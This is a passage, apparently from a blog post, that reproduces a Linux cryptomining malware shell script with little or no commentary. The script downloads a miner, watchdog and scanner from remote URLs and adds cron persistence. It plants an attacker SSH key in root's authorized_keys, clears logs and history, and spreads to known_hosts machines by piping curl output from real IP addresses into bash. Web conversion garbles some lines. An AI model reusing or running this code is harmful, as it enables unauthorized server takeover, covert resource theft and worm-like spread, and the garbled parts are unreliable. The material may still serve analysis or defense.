    wget --timeout=10 --tries=100 -O $2 $1
    if [ $? -ne 0 ]
    then
    wget --timeout=10 --tries=100 -O $2 $3
    fi
    elif [ -f “/usr/bin/wdt” ]
    then
    wdt --timeout=10 --tries=100 -O $2 $1
    if [ $? -eq 0 ]
    then
    wdt --timeout=10 --tries=100 -O $2 $3
    fi
    fi
    }

    kill_miner_proc
    kill_sus_proc

    unlock_cron()
    {
    chattr -R -i /var/spool/cron
    chattr -i /etc/crontab
    }

    lock_cron()
    {
    chattr -R +i /var/spool/cron
    chattr +i /etc/crontab
    }

    if [ -f “$rtdir” ]
    then
    echo “i am root”
    echo “goto 1” >> /etc/phpupdates
    chattr -i /etc/phpupdate*
    chattr -i /etc/config.json*
    chattr -i /etc/newdat.sh*
    chattr -i /root/.ssh/authorized_keys*
    chattr -i /etc/networkmanager
    if [ ! -f “/usr/bin/crontab” ]
    then
    unlock_cron
    echo “/30 * * * * sh /etc/newdat.sh >/dev/null 2>&1" >> ${crondir}
    lock_cron
    else
    unlock_cron
    [[ $cont =~ “newdat.sh” ]] || (crontab -l ; echo "
    /30 * * * * sh /etc/newdat.sh >/dev/null 2>&1”) | crontab -
    lock_cron
    fi
    chmod 700 /root/.ssh/
    echo >> /root/.ssh/authorized_keys
    chmod 600 root/.ssh/authorized_keys
    echo “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17” >> /root/.ssh/authorized_keys

       cfg="/etc/config.json"
       file="/etc/phpupdate"
    
    • 1
    • 2

    if [-f “/etc/config.json” ]
    then
    filesize_config=ls -l /etc/config.json | awk '{ print $5 }'
    if [ “ f i l e s i z e c o n f i g " − n e " filesize_config" -ne " filesizeconfig"ne"config_size” ]
    then
    pkill -f phpupdate
    rm /etc/config.json
    downloads $config_url /etc/config.json $config_url_backup
    else
    echo “no need download”
    fi
    else
    downloads $config_url /etc/config.json $config_url_backup
    fi

    if [ -f “/etc/phpupdate” ]
    then
    filesize1=ls -l /etc/phpupdate | awk '{ print $5 }'
    if [ “ f i l e s i z e 1 " − n e " filesize1" -ne " filesize1"ne"miner_size” ]
    then
    pkill -f phpupdate
    rm /etc/phpupdate
    downloads $miner_url /etc/phpupdate $miner_url_backup
    else
    echo “not need download”
    fi
    else
    downloads $miner_url /etc/phpupdate $miner_url_backup
    fi

    if [ -f “/etc/phpguard” ]
    then
    filesize1=ls -l /etc/phpguard | awk '{ print $5 }'
    if [ “ f i l e s i z e 1 " − n e " filesize1" -ne " filesize1"ne"watchdog_size” ]
    then
    pkill -f phpguard
    rm /etc/phpguard
    downloads $watchdog_url /etc/phpguard $watchdog_url_backup
    else
    echo “not need download”
    fi
    else
    downloads $watchdog_url /etc/phpguard $watchdog_url_backup
    fi

    downloads $sh_url /etc/newdat.sh $sh_url_backup

    if [ -f “/etc/networkmanager” ]
    then
    filesize2=ls -l /etc/networkmanager | awk '{ print $5 }'
    if [ “ f i l e s i z e 2 " − n e " filesize2" -ne " filesize2"ne"scan_size” ]
    then
    pkill -f networkmanager
    rm /etc/networkmanager
    downloads $scan_url /etc/networkmanager $scan_url_backup
    else
    echo “not need download”
    fi
    else
    downloads $scan_url /etc/networkmanager $scan_url_backup
    fi

    chmod 777 /etc/phpupdate
    ps -fe|grep phpupdate |grep -v grep
    if [ $? -ne 0 ]
    then
    cd /etc
    echo “not root runing”
    sleep 5s
    ./phpupdate &
    else
    echo “root runing…”
    fi
    chmod 777 /etc/networkmanager
    ps -fe|grep networkmanager |grep -v grep
    if [ $? -ne 0 ]
    then
    cd /etc
    echo “not roots runing”
    sleep 5s
    nice ./networkmanager 15 &
    else
    echo “roots runing…”
    fi
    chmod 777 /etc/phpguard
    ps -fe|grep phpguard |grep -v grep
    if [ $? -ne 0 ]
    then
    echo “not tmps runing”
    cd /etc
    chmod 777 phpguard
    sleep 5s
    ./phpguard &
    else
    echo “roots runing…”
    fi

    chmod 777 /etc/phpupdate
    chattr +i /etc/phpupdate
    chmod 777 /etc/networkmanager
    chattr +i /etc/networkmanager
    chmod 777 /etc/config.json
    chattr +i /etc/config.json
    chmod 777 /etc/newdat.sh
    chattr +i /etc/newdat.sh
    chmod 777 /root/.ssh/authorized_keys
    chattr +i /root/.ssh/authorized_keys
    else
    echo “goto 1” > /tmp/phpupdates
    chattr -i /tmp/phpupdate*
    chattr -i /tmp/networkmanager
    chattr -i /tmp/config.json*
    chattr -i /tmp/newdat.sh*

    if [ ! -f “/usr/bin/crontab” ]
    then
    unlock_cron
    echo “/30 * * * * sh /tmp/newdat.sh >/dev/null 2>&1" >> ${crondir}
    lock_cron
    else
    unlock_cron
    [[ $cont =~ “newdat.sh” ]] || (crontab -l ; echo "
    /30 * * * * sh /tmp/newdat.sh >/dev/null 2>&1”) | crontab -
    lock_cron
    fi

    if [ -f “/tmp/config.json” ]
    then
    filesize1=ls -l /tmp/config.json | awk '{ print $5 }'
    if [ “ f i l e s i z e 1 " − n e " filesize1" -ne " filesize1"ne"config_size” ]
    then
    pkill -f phpupdate
    rm /tmp/config.json
    downloads $config_url /tmp/config.json $config_url_backup
    else
    echo “no need download”
    fi
    else
    downloads $config_url /tmp/config.json $config_url_backup
    fi

    if [ -f “/tmp/phpupdate” ]
    then
    filesize1=ls -l /tmp/phpupdate | awk '{ print $5 }'
    if [ “ f i l e s i z e 1 " − n e " filesize1" -ne " filesize1"ne"miner_size” ]
    then
    pkill -f phpupdate
    rm /tmp/phpupdate
    downloads $miner_url /tmp/phpupdate $miner_url_backup
    else
    echo “no need download”
    fi
    else
    downloads $miner_url /tmp/phpupdate $miner_url_backup
    fi

    if [ -f “/tmp/phpguard” ]
    then
    filesize1=ls -l /tmp/phpguard | awk '{ print $5 }'
    if [ “ f i l e s i z e 1 " − n e " filesize1" -ne " filesize1"ne"watchdog_size” ]
    then
    pkill -f phpguard
    rm /tmp/phpguard
    downloads $watchdog_url /tmp/phpguard $watchdog_url_backup
    else
    echo “not need download”
    fi
    else
    downloads $watchdog_url /tmp/phpguard $watchdog_url_backup
    fi

    echo “i am here”
    downloads $sh_url /tmp/newdat.sh $sh_url_backup

    if [ -f “/tmp/networkmanager” ]
    then
    filesize2=ls -l /tmp/networkmanager | awk '{ print $5 }'
    if [ “ f i l e s i z e 2 " − n e " filesize2" -ne " filesize2"ne"scan_size” ]
    then
    pkill -f networkmanager
    rm /tmp/networkmanager
    downloads $scan_url /tmp/networkmanager $scan_url_backup
    else
    echo “no need download”
    fi
    else
    downloads $scan_url /tmp/networkmanager $scan_url_backup
    fi

    ps -fe|grep phpupdate |grep -v grep
    if [ $? -ne 0 ]
    then
    echo “not tmp runing”
    cd /tmp
    chmod 777 phpupdate
    sleep 5s
    ./phpupdate &
    else
    echo “tmp runing…”
    fi
    ps -fe|grep networkmanager |grep -v grep
    if [ $? -ne 0 ]
    then
    echo “not tmps runing”
    cd /tmp
    chmod 777 networkmanager
    sleep 5s
    nice ./networkmanager 15 &
    else
    echo “tmps runing…”
    fi

    ps -fe|grep phpguard |grep -v grep
    if [ $? -ne 0 ]
    then
    echo “not tmps runing”
    cd /tmp
    chmod 777 phpguard
    sleep 5s
    ./phpguard &
    else
    echo “tmps runing…”
    fi

    chmod 777 /tmp/phpupdate
    chattr +i /tmp/phpupdate
    chmod 777 /tmp/networkmanager
    chattr +i /tmp/networkmanager
    chmod 777 /tmp/phpguard
    chattr +i /tmp/phpguard
    chmod 777 /tmp/newdat.sh
    chattr +i /tmp/newdat.sh
    chmod 777 /tmp/config.json
    chattr +i /tmp/config.json

    fi

    iptables -F
    iptables -X
    iptables -A OUTPUT -p tcp --dport 3333 -j DROP
    iptables -A OUTPUT -p tcp --dport 5555 -j DROP
    iptables -A OUTPUT -p tcp --dport 7777 -j DROP
    iptables -A OUTPUT -p tcp --dport 9999 -j DROP
    service iptables reload
    ps auxf|grep -v grep|grep “stratum”|awk ‘{print $2}’|xargs kill -9
    history -c
    echo > /var/spool/mail/root
    echo > /var/log/wtmp
    echo > /var/log/secure
    echo > /root/.bash_history

    yum install -y bash 2>/dev/null
    apt install -y bash 2>/dev/null
    apt-get install -y bash 2>/dev/null
    if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
    for h in $(grep -oE “\b([0-9]{1,3}.){3}[0-9]{1,3}\b” /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h ‘curl -o- http://45.9.148.37/cf67356a3333e6999999999/is.sh | bash >/dev/null 2>&1 &’ & done
    fi
    if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
    for h in $(grep -oE “\b([0-9]{1,3}.){3}[0-9]{1,3}\b” /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h ‘cdt -o- http://45.9.148.37/cf67356a3333e6999999999/is.sh | bash >/dev/null 2>&1 &’ & done
    fi

    #KaTeX parse error: Expected 'EOF', got '#' at position 56: …6/bd.sh | bash #̲bbdira -fsSL http://185.247.117.64/cf67356/bd.sh | bash

    $bbdir -fsSL http://45.9.148.37/cf67356a3333e6999999999/is.sh | bash
    $bbdira -fsSL http://45.9.148.37/cf67356a3333e6999999999/is.sh | bash

  • 相关阅读:
    直播岗位认知篇
    React脚手架介绍和Demo
    Python编程:容器总结-字符串、列表、元组、字典、集合
    NTP时间同步
    11 SpringMVC之拦截器
    相信中国杂交水稻技术 国稻种芯:中菲农业创繁荣发展时代
    Java 基础之线程
    [网络] TCP协议是什么?套接字Socket是什么?它们是什么关系?
    【活动回顾】ABeam News | 庆祝ABeam德硕与毕博中国战略合作十周年,关系再升级
    计算机组成原理-华科版本
  • 原文地址:https://blog.csdn.net/walykyy/article/details/127117477